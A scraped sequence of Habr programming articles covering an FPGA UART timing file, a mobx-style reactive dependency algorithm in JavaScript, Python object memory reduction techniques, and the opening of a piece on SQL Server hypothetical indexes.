Состояние сигналов, снятые при помощи Signal Tap
**А вот здесь мажоритарный элемент со входа был убран.**А что, как мне еще было имитировать произвольные ошибки при проверке схемы быстрой синхронизации?
Состояние сигналов, снятые при помощи Signal Tap
#### Примечание
Извините, курсов по Quartus я не проходил и вопросы задавать было некому. На что сам наткнулся и о чем предупреждаю других начинающих ПЛИСоводов: обязательно создавайте в проекте SDC-файл и описывайте в нем тактовые частоты. Да, проект собирается и без него, правда возможно появление предупреждений, если синтезатор не смог определить временные характеристики тактирования. Я их сначала игнорировал, пока не убил полдня на определение проблемы, почему у меня в модуле приемника при выполнении кода
```
if(rx == 1'b0) begin
busy <= 1'b1;
d <= 10'b1111111111;
cnt <= 2'd0;
idle <= 1'b0;
end else begin
```
сигналы busy и idle устанавливались правильно, а вот содержимое регистра d иногда не изменялось.
**Приложение: SDC-файл к проекту**
```
set_time_format -unit ns -decimal_places 3
# Тактовая частота 50Mhz, (50/50 duty cycle)
create_clock -name {clk50mhz} -period 20.000 -waveform { 0.000 10.000 }
############################################################################## Now that we have created the custom clocks which will be base clocks,# derive_pll_clock is used to calculate all remaining clocks for PLLs
derive_pll_clocks -create_base_clocks
derive_clock_uncertainty
# Сигналы от PLL софтина умеет считать сама?
# altpll_component.clk0_divide_by = 15625,
# altpll_component.clk0_duty_cycle = 50,
# altpll_component.clk0_multiply_by = 576,
# altpll_component.clk0_phase_shift = "0",
#create_generated_clock -name clk_1843200 -source [get_ports {clk50mhz}] -divide_by 15625 -multiply_by 576 -duty_cycle 50 -phase 0 -offset 0
# Для baudrate=38400
# Сигнал активен в течении 1/4 цикла, т.е. duty=(1/4)*100=25%
#create_generated_clock -name uart_baud4 -source [get_nets {pll50mhz|altpll_component|auto_generated|wire_pll1_clk[0]}] -divide_by 12 -duty_cycle 25 [get_nets {uart_osc_1|LPM_COUNTER_component|auto_generated|counter_reg_bit[0]}]
# Для baudrate=230400
# Сигнал активен в течении 1/4 цикла, т.е. duty=(1/4)*100=50%
create_generated_clock -name uart_baud4 -source [get_nets {pll50mhz|altpll_component|auto_generated|wire_pll1_clk[0]}] -divide_by 2 -duty_cycle 25 [get_nets {uart_osc_1|LPM_COUNTER_component|auto_generated|counter_reg_bit[0]}]
# Для baudrate=460800
# Делитель равен 1, используется непосредственно выход PLL, поэтому описание дополнительной частоты не требуется.
```
*Большое человеческое спасибо всем, кто написал комментарии к статье! Из них я почерпнул очень много полезной, хотя иногда и несколько противоречивой информации. По-моему их ценность намного больше, чем описанная выше реализация алгоритма. И, несомненно, они будут полезны тем, кто тоже рискнет залезть в мир ПЛИСок.*
Список внешних ссылок
1. [Универсальный асинхронный приёмопередатчик (ВикипедиЯ)](https://ru.wikipedia.org/wiki/%D0%A3%D0%BD%D0%B8%D0%B2%D0%B5%D1%80%D1%81%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%B0%D1%81%D0%B8%D0%BD%D1%85%D1%80%D0%BE%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BF%D1%80%D0%B8%D1%91%D0%BC%D0%BE%D0%BF%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%82%D1%87%D0%B8%D0%BA)
2. [Мажоритарный элемент (ВикипедиЯ)](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%B6%D0%BE%D1%80%D0%B8%D1%82%D0%B0%D1%80%D0%BD%D1%8B%D0%B9_%D1%8D%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82) | https://habr.com/ru/post/427011/ | null | ru | null |
# Изучаем и реализуем алгоритм работы правильного observer паттерна для react компонентов
Итак продолжаем развивать observer-паттерн. В [предыдущей](https://habrahabr.ru/post/348960/) статье от старого и очень простого паттерна "observer" маленькими шагами мы пришли к mobx и написали его мини-версию. В этой статье мы напишем полноценную версию mobx которая реализует алгоритм обновления зависимостей в правильном порядке для избежания ненужных вычислений. Надо сказать что попытки описать этот алгоритм на хабре предпринимались и раньше в статьях товарища [vintage](https://habrahabr.ru/users/vintage/) про атомы [тут](https://habrahabr.ru/post/235121), [тут](https://habrahabr.ru/post/240773), и [тут](https://habrahabr.ru/post/317360) но там не описан в полной мере последний "правильный" порядок обновления о чем и будет речь в этой статье.
Итак в прошлой статье для того чтобы компоненты реакта автоматически подписывались на данные которые они рендерят и при изменении вызывался перерендер только нужных компонентов мы пришли к такой модификации observer паттерна
```
let CurrentObservables = null;
class Observable {
listeners = new Set();
constructor(value){
this.value = value
}
get(){
if(CurrentObservables) CurrentObservables.add(this);
return this.value;
}
set(newValue){
if(newValue !== this.value){
this.notify();
}
}
subscribe(listener){
this.listeners.add(listener)
}
unsubscribe(listener){
this.listeners.delete(listener)
}
notify(){
for(const listener of this.listeners){
listener();
}
}
}
function connect(target){
return class extends (React.Component.isPrototypeOf(target) ? target : React.Component) {
stores = new Set();
listener = ()=> this.setState({})
render(){
this.stores.forEach(store=>store.unsubscribe(this.listener));
this.stores.clear();
const prevObservables = CurrentObservables;
CurrentObservables = this.stores;
cosnt rendered = target instanceof React.Component ? super.render() : target(this.props);
this.stores = CurrentObservables;
CurrentObservables = prevObservables;
this.stores.forEach(store=>store.subscribe(this.listener));
return rendered;
}
componentWillUnmount(){
this.stores.forEach(store=>store.unsubscribe(this.listener));
}
}
}
```
Давайте немного отрефакторим — вынесем логику установки глобального массива внутрь самого обзервера. Это можно представить как например ячейки таблицы в гугл-докс — есть ячейка которая просто хранит значение а есть ячейка которая хранит не только значение (которое будет закешировано) а и формулу(функцию) для ее пересчета. И заодно кроме формулы функции-пересчета мы добавим еще параметр функции для выполнения сайд-эффектов, как например вызов setState({}) на компоненте, когда у нас изменится значение. В итоге получим вот такой вот класс Cell
```
let CurrentObserver = null
class Cell {
reactions = new Set();
dependencies = new Set();
tracked = false;
constructor(value, fn = null, reactionFn = null) {
this.value = value;
this.fn = fn;
this.reactionFn = reactionFn
}
get() {
if (this.fn && !this.tracked) this.run();
if (CurrentObserver) {
this.reactions.add(CurrentObserver);
CurrentObserver.dependencies.add(this);
}
return this.value;
}
set(newValue) {
if (newValue !== this.value) {
this.value = newValue;
for (const reaction of this.reactions) {
reaction.run();
}
return true;
} else {
return false;
}
}
run() {
if(!this.fn) return;
const currentObserver = CurrentObserver;
CurrentObserver = this;
const oldDependencies = this.dependencies;
this.dependencies = new Set();
const newValue = this.fn();
CurrentObserver = currentObserver;
for(const dep of oldDependencies){
if(!this.dependencies.has(dep)){
dep.reactions.delete(this);
}
}
const changed = this.set(newValue);
if (changed && this.tracked && this.reactionFn){
const currentObserver = CurrentObserver;
CurrentObserver = null;
this.reactionFn();
CurrentObserver = currentObserver;
}
this.tracked = true;
}
unsubscribe(){
for(const dep of this.dependencies){
dep.reactions.delete(this);
}
this.tracked = false;
}
}
function connect(target){
return class extends (React.Component.isPrototypeOf(target) ? target : React.Component) {
constructor(...args){
super(...args);
this._cell = new Cell(null, ()=>{
return React.Component.isPrototypeOf(target) ? super.render() : target(this.props);
}, ()=>{
this.forceUpdate(); //здесь вместо setState({}) используется forceUpdate() потому что у компонента может и не быть своего состояния
});
}
render(){
return this._cell.get();
}
componentWillUnmount(){
this._cell.unsubscribe();
}
}
}
```
Теперь выясним режимы обновления нашей обcерверов. В примере выше у нас пока все обcерверы активные — после того как первый раз вызвался `.get` он подписался на свои dependencies и будет вызываться каждый раз когда какая-то зависимость изменит свое значение. Этот режим удобен для компонентов которые должны обновляться каждый раз когда изменились данные на которые они подписаны но есть так называемые "кешируемые" или "мемоизированные" функции для которых такое поведение нежелательно. Например есть обзервер `const fullName = new Cell(()=>firstName.get() + lastName.get())` который должен вычислять полное имя когда изменится либо имя либо фамилия. Но что если после того как он вычислится к fullName в приложении при каких-то условиях обращаться не придется? Мы получим лишнее вычисление и чтобы этого избежать можно сделать так чтобы компонент вычислялся не сразу а только когда к не нему обратятся — при вызове `.get()`.
Лишние вычисления вообще являются ключевым моментом при сравнении библиотек основанных на модели "ячеек и формул в таблице". Лишние вычисления могут появляться при неправильном (как у нашего примера выше) алгоритме определения какие зависимости нужно вызвать после того как изменилось значение в случае ромбовидной схеме зависимостей (когда в графе зависимостей присутствуют циклы)
Давайте рассмотрим такую ситуацию — есть четыре ячейки — `firstName`, `lastName`, `fullName` (которая вычисляет полное имя) и `label` (которая выводит либо имя если оно длинное иначе полное имя)
```
const firstName = new Cell("fff");
const lastName = new Cell("lll");
const fullName = new Cell("", ()=>firstName.get() + " " + lastName.get());
const label = new Cell("", ()=>firstName.get().length <= 3 ? fullName.get() : firstName.get()))
```
Здесь самый простой вариант ромбовидных зависимостей — от `firstName` зависит `fullName`, от `fullName` зависит `label` но `label` также зависит и от `firstName` и получается как бы цикл.
Надо уточнить что в процессе нас интересует перевычисление только значения ячейки `label` (например нужно отрендерить в компоненте) поэтому если значение `fullName` для `label` вдруг вычислять не требуется то его вычислять и не стоит.
И вот первый баг — при измении `firstName` — в нашей реализацией `Cell` когда мы вы цикле вызываем подписчиков у нас компонент `label` будет вычисляться дважды — первый раз `firstName` вызовет `label` потому что он непосредственно него подписан, а второй раз `label` вычисляется когда `fullName` изменит свое значение. Первое вычисление `label` не нужно потому что содержит временные данные — новое имя и старое `fullName`. Соотвественно нам нужно избавиться от ненужных вычислений и сделать мы это можем только вызвав подписчиков в правильном порядке — сначала `fullName` а потом `label`.
Как мы это можем сделать? Если подумать то есть парочка вариантов.
Одним из вариантов является способ "dirty-clean" который описан автором mobx в его докладе про устройство mobx (<https://www.youtube.com/watch?v=TfxfRkNCnmk>) (забавно что автор по факту солгал потому в самом mobx реализуется не этот а более правильный алгоритм но об этом позже).
Вкратце алгоритм состоит из способа распространения вызова функции по графу зависимостей и выявление значение "глубины" каждой зависимости через инкремент-декремент счетчика и потом вызов их в порядке увеличения глубины. Пусть при изменении имени, ячейка `firstName` не будет сразу вызывать подписчиков в цикле, а установит внутри каждого из слушателей значение 1 и вызовет их чтобы каждый установил значение своих подписчиков на 1 больше чем у него самого. И так рекурсивно. Ячейка `fullName` получит значения 1 а ячейка `label` получит значение 2 потому что счетчик увечили сначала ячейка `firstName` а потом и ячейка `fullName`. Теперь, после того как рекурсивный вызов закончился, ячейка `fistName` вызывает обратную процедуру — уменьшение счетчика рекурсивно у своих подписчиков. И теперь момент — после того как вызвался код уменьшения счетчика надо проверить если значение вернулось к нулю то только тогда следует выполнить перевычисление ячейки. Итак, произойдет уменьшение счетчика `label` с 2 до 1 (но не вычисляется потому что не 0) потом уменьшится счетчик `fullName` c 1 на 0 и вычислится `fullName` и только потом вычислится сам `label` потому что `fullName` после вычисление вызовет уменьшение счетчика `label` c 1 до 0.
Таким образом мы получили вычисление `label` только один раз после того как все зависимые ячейки сами обновятся и будут иметь актуальное значение.
Другим вариантом (который по факту является оптимизированной версией первого) будет идея вызвать подписчиков в порядке увеличения их глубины. Под глубиной ячейки примем максимальное значение глубины своих зависимых ячеек + 1 а ячейка без формулы которая не имеет зависимостей будет иметь глубину 0. Получаем что `firstName` и `lastName` будут иметь значение 0, `fullName` будет иметь значение 1 а `label` будет иметь значение 2 потому что максимальное значение у подписчиков (`fullName` и `firstName`) равно 1, делаем +1 получаем 2.
Теперь когда ячейка `fistName` обновит свое значение она должна вызвать своих подписчиков в порядке увеличение глубины — сначала `fullName` а потом `label`. Массив можно сортировать каждый раз при вызове, а можно оптимизиировать и сделать вставку в отсортированный массив в момент добавления новой зависимости.
Значение же глубины тоже нужно обновлять каждый раз когда добавляется новый подписчик сравнивая его значение с текущим значением ячейки.
Таким образом мы получим вызов подписчиков в правильном порядке и избежим лишний вычислений. Почти...
В обоих вариантах есть один очень неприметный баг. Формула ячейки `label` не просто зависит от `firstName` и `fullName` — она зависит от них при определенных условиях. Если значение `firstName.get().length <= 3` то мы выводим `fullName` но если значение больше 3 то мы зависим только от `firstName`. А теперь подумаем что происходит при когда значение `firstName` меняется с 4 на 3. Ячейка `firstName` обновит свое значение и должна вызвать подписчиков в порядке глубины — сначала будет вызов `fullName` который вычислит свое значение а потом вызов `label` который вычислит свое значение уже имея актуальное значение `fullName`. На первый взгляд кажется все правильно. Но если подумать то вычисление `fullName` на самом деле здесь не нужно — потому что значение `fistName` будет равно 3 а значит когда последним вызовется `label` ему не потребуется вызвать `fullName.get()` потому что ветка if просто не выполнится. Причем, в следующий раз, когда потребуется вызвать `fullName` его значение будет неактуально потому что между его вызовом может сколько угодно раз обновляться lastName. Вот вам и баг с лишним вычислением. В итоге наш алгоритм с вызовом подписчиков в порядке их глубины не работает в общем случае.
Итак существует тот самый "правильный" алгоритм, который ни при каких условиях и хитросплетенных зависимостях не вызовет двойного вычисления ячейки. Для начала приведу код, который по совместительству является почти полноценной версией mobx (за исключением массива и декораторов) всего в 85 строчках кода
```
class Cell {
reactions = new Set();
dependencies = new Set();
runned = false;
constructor(value, fn = null, reactionFn = null, active = false) {
this.value = value;
this.fn = fn;
this.reactionFn = reactionFn;
this.state = fn ? "dirty" : "actual";
}
get() {
if (this.state !== "actual") this.actualize();
if (CurrentObserver) {
this.reactions.add(CurrentObserver);
CurrentObserver.dependencies.add(this);
}
return this.value;
}
set(newValue) {
if (newValue !== this.value) {
this.value = newValue;
for (const reaction of this.reactions) {
reaction.mark(true);
}
runPendingCells()
return true;
} else {
return false;
}
}
mark(dirty = false) {
this.state = dirty ? "dirty" : "check";
for (const reaction of this.reactions) {
if(reaction.state === "actual") reaction.mark();
}
if (this.active) PendingCells.push(this);
}
actualize() {
if (this.state === "check") {
for (const dep of this.dependencies) {
if(this.state === "dirty") break;
dep.actualize();
}
if(this.state === "dirty"){
this.run();
} else {
this.state = "actual"
}
} else if(this.state === "dirty"){
this.run();
}
}
run() {
if (!this.fn) return;
const currentObserver = CurrentObserver;
CurrentObserver = this;
const oldDependencies = this.dependencies;
this.dependencies = new Set();
const newValue = this.fn();
CurrentObserver = currentObserver;
for (const dep of oldDependencies) {
if (!this.dependencies.has(dep)) dep.reactions.delete(this);
}
const changed = this.set(newValue);
this.state = "actual";
if (changed && this.reactionFn) {
const currentObserver = CurrentObserver;
CurrentObserver = null;
this.reactionFn(!this.runned);
if(!this.runned) this.runned = true;
CurrentObserver = currentObserver;
}
}
unsubscribe() {
for (const dep of this.dependencies) {
dep.reactions.delete(this);
if(dep.reactions.size === 0) dep.unsubscribe();
}
this.state = "dirty";
}
}
function runPendingCells() {
for (const cell of PendingCells) {
cell.actualize();
}
}
```
А теперь описание:
Пусть ячейка будет иметь три состояния — "actual" (которое значит что значение формулы актуально), "dirty" (которое будет значит что как только вызовется `get()` ячейка должна пересчитаться) и "check". Теперь как только ячейка изменит свое значение она не будет сразу вызывать вычисление подписчиков в каком-либо порядке а пометит своих подписчиков как "dirty". А те в свою очередь тоже пометят своих подписчиков но только значением "check" а те в свою очередь тоже пометят своих подписчиков значением "check", и так далее рекурсивно до конца. То есть только подписчики той ячеки которая изменилась будут иметь значение "dirty" а все остальные до конца дерева — значение "check", а чтобы при рекурсивном вызове мы не зациклились надо вызывать рекурсию только для тех ячеек которые еще не были помечены (имеют значение "actual").
Дальше при достижении конца дерева — то есть той ячейки у которой больше нет подписчиков и она является "активной" надо добавить такую ячейку в неких глобальный массив `PendingCells`. "Активной" является ячейка которая представляет не какую-то мемоизированную функцию (значение которой может не понадобиться прямо сейчас) а реакция (например компонент реакта) которая должна запускаться каждый раз когда любая из зависимых ячеек меняет свое значение.
В итоге, когда ячейка изменила свое значение и вызвала этот рекурсивный процесс для своих подписчиков, у нас в глобальном массиве `PendingCells` будут находится некие root-ячейки у которых нет зависимостей но которые прямо или косвенно могут зависеть и соотвественно либо будут пересчитываться (если вдруг все промежуточные ячейки в цепочке поменяют свое значение) либо не будут (если кто-то в этой цепочке при перевычислении не изменит свое значение)
Теперь переходим ко второму этапу. Ячейка которая изменилась и вызвала для своих подписчиков рекурсивный процесс, вызывает некую глобальную функцию `flush()` которая возьмет ячейки которые накопились в глобальном массиве `PendingCells` и вызовет у них функцию `actualize()`. Эта функция будет рекурсивной и будет делать вот что — если значение ячейки является "dirty" она вызовет перевычисление своей формулы (а мы помним что значение "dirty" будут иметь только ячейки которые являются прямыми подписчиками ячейки которая изменилась, а все остальные до конца дерева будут иметь значение "check"). Если же значение равно "check", то ячейка попросит свои зависимые ячейки актуализироваться (вызовет метод `actualize()`) и после этого снова проверит свое значение и если оно равно "check" то мы меняем значение на "actual" и не вызываем перерасчет, если же оно "dirty" то мы соответственно должны вызвать перевычисление. При этом, проверку на "dirty" нужно после вызова "actualize()" на каждой зависимой ячейке, потому что если ячейка приняла значение "dirty" нет смысла вызывать актуализацию других ячеек и можно сразу прервать цикл и выполнить перерасчет. А то что остальные ячейки не актуализировались, это уже неважно, так как если произойдет обращение к ячейке чтобы получить значение формулы в методе `.get()`, ячейка должна проверить свое значение и если оно "check" то она должна вызвать этот метод `actualize()` а если "dirty" то соотвественно выполнить перерасчет. Вот и все, конец алгоритма.
Итак алгоритм на первый взгляд может показаться сложным но он достаточно простой — когда ячейка меняет свое значение у нас всего 2 этапа — первый этап это рекурсивный спуск чтобы пометить как dirty (для первого уровня) и check для всех остальных а второй этап это рекурсивный подъем при котором происходит актуализация значений.
Теперь проясню некоторые неочевидные моменты.
Первое — каким образом происходит избежание того бага с лишним перерасчетом? Это происходит потому что у нас нет жесткого условия вызывать перевычисление зависимых ячеек у ячейки которая изменились. Зависимые ячейки будут помечены как dirty, и все — они вычислятся только когда где-то потребуется узнать их значение. То есть, в примере с багом — ячейка `fullName` будет просто помечена как "dirty" а потом вычислять ее значение не потребуется так как в `label` выполнится условие `firstName.get().length === 3` и `label` больше не будет зависеть от `fullName`.
Второе — почему такое странное действие — внутри метода `actualize()` — проверить — если значение равно "check" то вызвать `actualize()` у зависимых ячеек и в процессе этого и также после цикла снова повторно проверить значение и если "dirty" то прервать цикл и вызвать перерасчет а если "check" то сбросить после цикла на "actual" и ничего не делать? Все дело в том что в процессе вызова `actualize()` у зависимых ячеек некоторые из них могут иметь значение "dirty" и как мы знаем они должны выполнить перерасчет. А при вычислении есть условие — если ячейка поменяла свое значение то она должна пометить своих слушателей как "dirty". И таким образом ячейка которая до этого была "check" может после актуализации своих зависимых ячеек сама изменить значение когда изменится кто-либо из них и соотвественно нужно проверить условие снова. Но только в этом случае если никакие зависимые ячейки не изменили свое значение то значит и самой ячейки смысла вычисляться нет и мы меняем значение с "check" на "actual"
Ну а теперь мы можем проверить действие этого алгоритма на нашем примере с багом. Меняется `firstName`, ячейки `label` и `fullName` помечаются как "dirty" и только `label` попадает в глобальный массив `PendingCells` потому что `fullName` не является "активной" ячейкой как `label` а просто мемоизирует свое значение и обновится только в момент обращения к ней а не сразу. Дальше `label` поскольку имеет значение "dirty" сразу выполнит перерасчет но поскольку `firstName.get().length === 3` значение `fullName` нам не потребуется и мы таким образом избежим лишнего перевычисления.
Честно сказать описание алгоритма занимает куда больше места чем его реализация. Этот код на typescript а также пример с реактом и тест на баг с вычислениями находится в репозитории (<https://github.com/bgnx/xmob>) | https://habr.com/ru/post/349022/ | null | ru | null |
# Python consumes a lot of memory or how to reduce the size of objects?
A memory problem may arise when a large number of objects are active in RAM during the execution of a program, especially if there are restrictions on the total amount of available memory.
Below is an overview of some methods of reducing the size of objects, which can significantly reduce the amount of RAM needed for programs in pure Python.
**Note:** *This is english version of my original [post](https://habr.com/ru/post/455722/) (in russian).*
For simplicity, we will consider structures in Python to represent points with the coordinates `x`,`y`, `z` with access to the coordinate values by name.
### Dict
In small programs, especially in scripts, it is quite simple and convenient to use the built-in `dict` to represent structural information:
```
>>> ob = {'x':1, 'y':2, 'z':3}
>>> x = ob['x']
>>> ob['y'] = y
```
With the advent of a more compact implementation in Python 3.6 with an ordered set of keys, `dict` has become even more attractive. However, let's look at the size of its footprint in RAM:
```
>>> print(sys.getsizeof(ob))
240
```
It takes a lot of memory, especially if you suddenly need to create a large number of instances:
| Number of instances | Size of objects |
| --- | --- |
| 1 000 000 | 240 Mb |
| 10 000 000 | 2.40 Gb |
| 100 000 000 | 24 Gb |
### Class instance
For those who like to clothe everything in classes, it is preferable to define structures as a class with access by attribute name:
```
class Point:
#
def __init__(self, x, y, z):
self.x = x
self.y = y
self.z = z
>>> ob = Point(1,2,3)
>>> x = ob.x
>>> ob.y = y
```
The structure of the class instance is interesting:
| Field | Size (bytes) |
| --- | --- |
| PyGC\_Head | 24 |
| PyObject\_HEAD | 16 |
| \_\_weakref\_\_ | 8 |
| \_\_dict\_\_ | 8 |
| **TOTAL:** | **56** |
Here `__weakref__` is a reference to the list of so-called weak references to this object, the field`__dict__` is a reference to the class instance dictionary, which contains the values of instance attributes (note that 64-bit references platform occupy 8 bytes). Starting in Python 3.3, the shared space is used to store keys in the dictionary for all instances of the class. This reduces the size of the instance trace in RAM:
```
>>> print(sys.getsizeof(ob), sys.getsizeof(ob.__dict__))
56 112
```
As a result, a large number of class instances have a smaller footprint in memory than a regular dictionary (`dict`):
| Number of instances | Size |
| --- | --- |
| 1 000 000 | 168 Mb |
| 10 000 000 | 1.68 Gb |
| 100 000 000 | 16.8 Gb |
It is easy to see that the size of the instance in RAM is still large due to the size of the dictionary of the instance.
### Instance of class with \_\_slots\_\_
A significant reduction in the size of a class instance in RAM is achieved by eliminating `__dict__` and`__weakref__`. This is possible with the help of a "trick" with `__slots__`:
```
class Point:
__slots__ = 'x', 'y', 'z'
def __init__(self, x, y, z):
self.x = x
self.y = y
self.z = z
>>> ob = Point(1,2,3)
>>> print(sys.getsizeof(ob))
64
```
The object size in RAM has become significantly smaller:
| Field | Size (bytes) |
| --- | --- |
| PyGC\_Head | 24 |
| PyObject\_HEAD | 16 |
| x | 8 |
| y | 8 |
| z | 8 |
| **TOTAL:** | **64** |
Using `__slots__` in the class definition causes the footprint of a large number of instances in memory to be significantly reduced:
| Number of instances | Size |
| --- | --- |
| 1 000 000 | 64 Mb |
| 10 000 000 | 640 Mb |
| 100 000 000 | 6.4 Gb |
Currently, this is the main method of substantially reducing the memory footprint of an instance of a class in RAM.
This reduction is achieved by the fact that in the memory after the title of the object, object references are stored — the attribute values, and access to them is carried out using special descriptors that are in the class dictionary:
```
>>> pprint(Point.__dict__)
mappingproxy(
....................................
'x': ,
'y': ,
'z': })
```
To automate the process of creating a class with `__slots__`, there is a library [namedlist] (<https://pypi.org/project/namedlist>). The `namedlist.namedlist` function creates a class with `__slots__`:
```
>>> Point = namedlist('Point', ('x', 'y', 'z'))
```
Another package [attrs] (<https://pypi.org/project/attrs>) allows you to automate the process of creating classes both with and without `__slots__`.
### Tuple
Python also has a built-in type `tuple` for representing immutable data structures. A tuple is a fixed structure or record, but without field names. For field access, the field index is used. The tuple fields are once and for all associated with the value objects at the time of creating the tuple instance:
```
>>> ob = (1,2,3)
>>> x = ob[0]
>>> ob[1] = y # ERROR
```
Instances of tuple are quite compact:
```
>>> print(sys.getsizeof(ob))
72
```
They occupy 8 bytes in memory more than instances of classes with `__slots__`, since the tuple trace in memory also contains a number of fields:
| Field | Size (bytes) |
| --- | --- |
| PyGC\_Head | 24 |
| PyObject\_HEAD | 16 |
| ob\_size | 8 |
| [0] | 8 |
| [1] | 8 |
| [2] | 8 |
| **TOTAL:** | **72** |
### Namedtuple
Since the tuple is used very widely, one day there was a request that you could still have access to the fields and by name too. The answer to this request was the module `collections.namedtuple`.
The `namedtuple` function is designed to automate the process of generating such classes:
```
>>> Point = namedtuple('Point', ('x', 'y', 'z'))
```
It creates a subclass of tuple, in which descriptors are defined for accessing fields by name. For our example, it would look something like this:
```
class Point(tuple):
#
@property
def _get_x(self):
return self[0]
@property
def _get_y(self):
return self[1]
@property
def _get_z(self):
return self[2]
#
def __new__(cls, x, y, z):
return tuple.__new__(cls, (x, y, z))
```
All instances of such classes have a memory footprint identical to that of a tuple. A large number of instances leave a slightly larger memory footprint:
| Number of instances | Size |
| --- | --- |
| 1 000 000 | 72 Mb |
| 10 000 000 | 720 Mb |
| 100 000 000 | 7.2 Gb |
### Recordclass: mutable namedtuple without cyclic GC
Since the `tuple` and, accordingly, `namedtuple`-classes generate immutable objects in the sense that attribute `ob.x` can no longer be associated with another value object, a request for a mutable namedtuple variant has arisen. Since there is no built-in type in Python that is identical to the tuple that supports assignments, many options have been created. We will focus on [recordclass] (<https://pypi.org/project/recordclass>), which received a rating of [stackoverflow] (<https://stackoverflow.com/questions/29290359/existence-of-mutable-named-tuple-in> -python / 29419745). In addition it can be used to reduce the size of objects in RAM compared to the size of `tuple`-like objects..
The package **recordclass** introduces the type `recordclass.mutabletuple`, which is almost identical to the tuple, but also supports assignments. On its basis, subclasses are created that are almost completely identical to namedtuples, but also support the assignment of new values to fields (without creating new instances). The `recordclass` function, like the`namedtuple` function, allows you to automate the creation of these classes:
```
>>> Point = recordclass('Point', ('x', 'y', 'z'))
>>> ob = Point(1, 2, 3)
```
Class instances have same structure as `tuple`, but only without`PyGC_Head`:
| Field | Size (bytes) |
| --- | --- |
| PyObject\_HEAD | 16 |
| ob\_size | 8 |
| x | 8 |
| y | 8 |
| y | 8 |
| **TOTAL:** | **48** |
By default, the `recordclass` function create a class that does not participate in the cyclic garbage collection mechanism. Typically, `namedtuple` and`recordclass` are used to generate classes representing records or simple (non-recursive) data structures. Using them correctly in Python does not generate circular references. For this reason, in the wake of instances of classes generated by `recordclass`, by `default, the`PyGC\_Head`fragment is excluded, which is necessary for classes supporting the cyclic garbage collection mechanism (more precisely: in the`PyTypeObject`structure, corresponding to the created class, in the`flags`field, by default, the flag`Py\_TPFLAGS\_HAVE\_GC` is not set).
The size of the memory footprint of a large number of instances is smaller than that of instances of the class with `__slots__`:
| Number of instances | Size |
| --- | --- |
| 1 000 000 | 48 Mb |
| 10 000 000 | 480 Mb |
| 100 000 000 | 4.8 Gb |
### Dataobject
Another solution proposed in the recordclass library is based on the idea: use the same storage structure in memory as in class instances with `__slots__`, but do not participate in the cyclic garbage collection mechanism. Such classes are generated using the `recordclass.make_dataclass` function:
```
>>> Point = make_dataclass('Point', ('x', 'y', 'z'))
```
The class created in this way, by default, creates mutable instances.
Another way – use class declaration with inheritance from `recordclass.dataobject`:
```
class Point(dataobject):
x:int
y:int
z:int
```
Classes created in this way will create instances that do not participate in the cyclic garbage collection mechanism. The structure of the instance in memory is the same as in the case with `__slots__`, but without the `PyGC_Head`:
| Field | Size (bytes) |
| --- | --- |
| PyObject\_HEAD | 16 |
| x | 8 |
| y | 8 |
| y | 8 |
| **TOTAL:** | **40** |
```
>>> ob = Point(1,2,3)
>>> print(sys.getsizeof(ob))
40
```
To access the fields, special descriptors are also used to access the field by its offset from the beginning of the object, which are located in the class dictionary:
```
mappingproxy({'__new__': ,
.......................................
'x': ,
'y': ,
'z': })
```
The sizeo of the memory footprint of a large number of instances is the minimum possible for CPython:
| Number of instances | Size |
| --- | --- |
| 1 000 000 | 40 Mb |
| 10 000 000 | 400 Mb |
| 100 000 000 | 4.0 Gb |
### Cython
There is one approach based on the use of [Cython] (<https://cython.org>). Its advantage is that the fields can take on the values of the C language atomic types. Descriptors for accessing fields from pure Python are created automatically. For example:
```
cdef class Python:
cdef public int x, y, z
def __init__(self, x, y, z):
self.x = x
self.y = y
self.z = z
```
In this case, the instances have an even smaller memory size:
```
>>> ob = Point(1,2,3)
>>> print(sys.getsizeof(ob))
32
```
The instance trace in memory has the following structure:
| Field | Size (bytes) |
| --- | --- |
| PyObject\_HEAD | 16 |
| x | 4 |
| y | 4 |
| y | 4 |
| пусто | 4 |
| **TOTAL:** | **32** |
The size of the footprint of a large number of copies is less:
| Number | Size |
| --- | --- |
| 1 000 000 | 32 Mb |
| 10 000 000 | 320 Mb |
| 100 000 000 | 3.2 Gb |
However, it should be remembered that when accessing from Python code, a conversion from `int` to a Python object and vice versa will be performed every time.
### Numpy
Using multidimensional arrays or arrays of records for a large amount of data gives a gain in memory. However, for efficient processing in pure Python, you should use processing methods that focus on the use of functions from the `numpy` package.
```
>>> Point = numpy.dtype(('x', numpy.int32), ('y', numpy.int32), ('z', numpy.int32)])
```
An array of `N` elements, initialized with zeros, is created using the function:
```
>>> points = numpy.zeros(N, dtype=Point)
```
The size of the array in memory is the minimum possible:
| Number of objects | Size |
| --- | --- |
| 1 000 000 | 12 Mb |
| 10 000 000 | 120 Mb |
| 100 000 000 | 1.20 Gb |
Normal access to array elements and rows will require convertion from a Python object to a C `int` value and vice versa. Extracting a single row results in the creation of an array containing a single element. Its trace will not be so compact anymore:
```
>>> sys.getsizeof(points[0])
68
```
Therefore, as noted above, in Python code, it is necessary to process arrays using functions from the `numpy` package.
### Conclusion
On a clear and simple example, it was possible to verify that the Python programming language (CPython) community of developers and users has real possibilities for a significant reduction in the amount of memory used by objects. | https://habr.com/ru/post/458518/ | null | en | null |
# Недокументированные возможности Microsoft SQL Server: STATISTICS_ONLY, DBCC AUTOPILOT и SET AUTOPILOT
Как известно, оптимизатор запросов SQL Server, для построения оптимального плана выполнения запроса, использует оценку стоимости. SQL Server строит и оценивает множество планов и выбирает среди них план с минимальной стоимостью.
Одна из проблем, с которой мы периодически сталкиваемся, заключается в том, что для того чтобы понять как новый индекс повлияет на выполнение конкретного запроса, нам необходимо создать этот индекс. Иногда, особенно когда таблица очень велика, процесс создания индекса настолько затягивается, что превращается в настоящий кошмар. Более того, после 20 минут ожидания, мы вполне можем обнаружить, что только что созданный индекс, при выполнении запроса, вообще не используется.
Собственно, вопрос заключается в том как создать «гипотетический» индекс? Просто для того, чтобы проверить действительно ли такой индекс будет полезен при выполнении запроса.
##### WITH STATISTICS\_ONLY
Для создания гипотетического индекса, мы можем использовать недокументированную возможность команды CREATE INDEX. Например:
```
USE AdventureWorksDW
GO
CREATE INDEX ix_FirstName ON DimCustomer(FirstName) WITH STATISTICS_ONLY = -1
GO
```
